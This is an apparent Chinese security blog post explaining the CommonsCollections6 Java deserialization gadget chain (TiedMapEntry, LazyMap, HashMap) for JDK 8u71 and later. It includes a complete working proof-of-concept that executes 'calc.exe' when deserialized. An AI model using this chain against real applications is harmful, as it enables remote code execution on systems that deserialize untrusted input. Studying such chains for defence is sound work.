0x00 写在前面
在jdk8u71
及以后的版本中,sun.reflect.annotation.AnnotationInvocationHandler
类的readObject()
方法进行了修改,无法利用sun.reflect.annotation.AnnotationInvocationHandler
类来进行反序列化的利用了,CommonsCollections6就是解决CommonsCollections1在高版本中无法利用的问题。
利用链来自P神的知识星球。
0x01 分析利用
在jdk8u71
及以后的版本中,sun.reflect.annotation.AnnotationInvocationHandler
类的readObject()
方法进行了修改,在进行反序列化之后,并没有直接使用得到的Map
,而是新创建了一个LinkedHashMap
对象,Map<String, Object> mv = new LinkedHashMap<>()
。然后用他来进行操作,mv.put(name, value)
。这样一来,没有使用了我们构造的Map
,前面的利用链自然也无法使用了。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name));
}
}
mv.put(name, value);
}
UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}
既然sun.reflect.annotation.AnnotationInvocationHandler
已经无法利用了,那么就来找其他的类中是否还存在对LazyMap.get()
的调用。
这条链找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在它的getValue()
方法中调用了map.get(key)
。
public Object getValue() {
return map.get(key);
}
而在hashCode()
中又调用了getValue()
。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
又找到在java.util.HashMap
中的hash()
方法调用了hashcode()
。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
然后在java.util.HashMap
的readObject()
中,与ysoserial
的payload不同的是,p神选择的payload是由最后的putVal(hash(key), key, value, false, false)
来调用hash(key)
,也就是说,只要这里的key
等于一个org.apache.commons.collections.keyvalue.TiedMapEntry
对象,这个链子就连上了。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
......
s.readInt(); // Read and ignore number of buckets
......
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
......
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
那么接下来就是POC链的编写,首先依旧还是同之前一样,创建transformerChain
对象以及LazyMap
对象。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后就是TiedMapEntry
的创建,来看看他的构造方法,第一个参数为Map
对象,第二个参数为key
。由于在POC链中我们想要调用的getValue()
方法调用的是map.get(key)
,所以这里的map
就传入我们构造的HashMap
对象。TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
由于我们想要的反序列化的点是HashMap
的readObject()
中,且目标代码是hash(key)
,这里的key
是HashMap
中的键值对中的键,我们想要他为org.apache.commons.collections.keyvalue.TiedMapEntry
对象,因此我们创建一个HashMap
对象,然后添加键值对,键的值为我们上面创建的tme
。
Map expMap = new HashMap();
expMap.put(tme, "value");
到这里也就差不多了,对expMap
进行序列化反序列化之后会发现并没有命令执行。
调试可以找到在运行到LazyMap
的get
方法时没有进入if,而且还多出一个键值为key
。而LazyMap
的containsKey
方法会查找是否包含该键的内容,想要进入if,就得返回false。这里的key
是我们创建的TiedMapEntry
对象传入的key
值,map
也是创建TiedMapEntry
对象时传入的LazyMap
,那么这个key
值为什么会存在于这个LazyMap
修饰的HashMap
中呢?
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
在运行至expMap.put(tme, "value1")
时,调用HashMap.put()
,会调用hash(key)
,这样就走了一遍命令执行的利用链。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
然后在LazyMap
的get
方法中,就会调用map.put(key, value)
,将这个键值添加进去,就会导致反序列化时多出一个键值无法进入if。那么我们只需在序列化之前将这个键值对删除就可以了。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
下面是完整的POC链。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
Map expMap = new HashMap();
expMap.put(tme, "value");
outerMap.remove("key");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
0x02 为什么调试结果与运行结果不同
这里有个地方需要注意,在调试过程中,可能会直接触发命令执行,然后在outerMap
中加入一个键值对。
这是因为IDEA的调试会调用变量的toString()
方法,然而TiedMapEntry
的toString()
方法会调用getValue()
,而getValue()
显然就会导致命令执行且添加一个键值对,所以调试和直接运行的结果可能会不同,注意一下就可以了。
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
Comments | NOTHING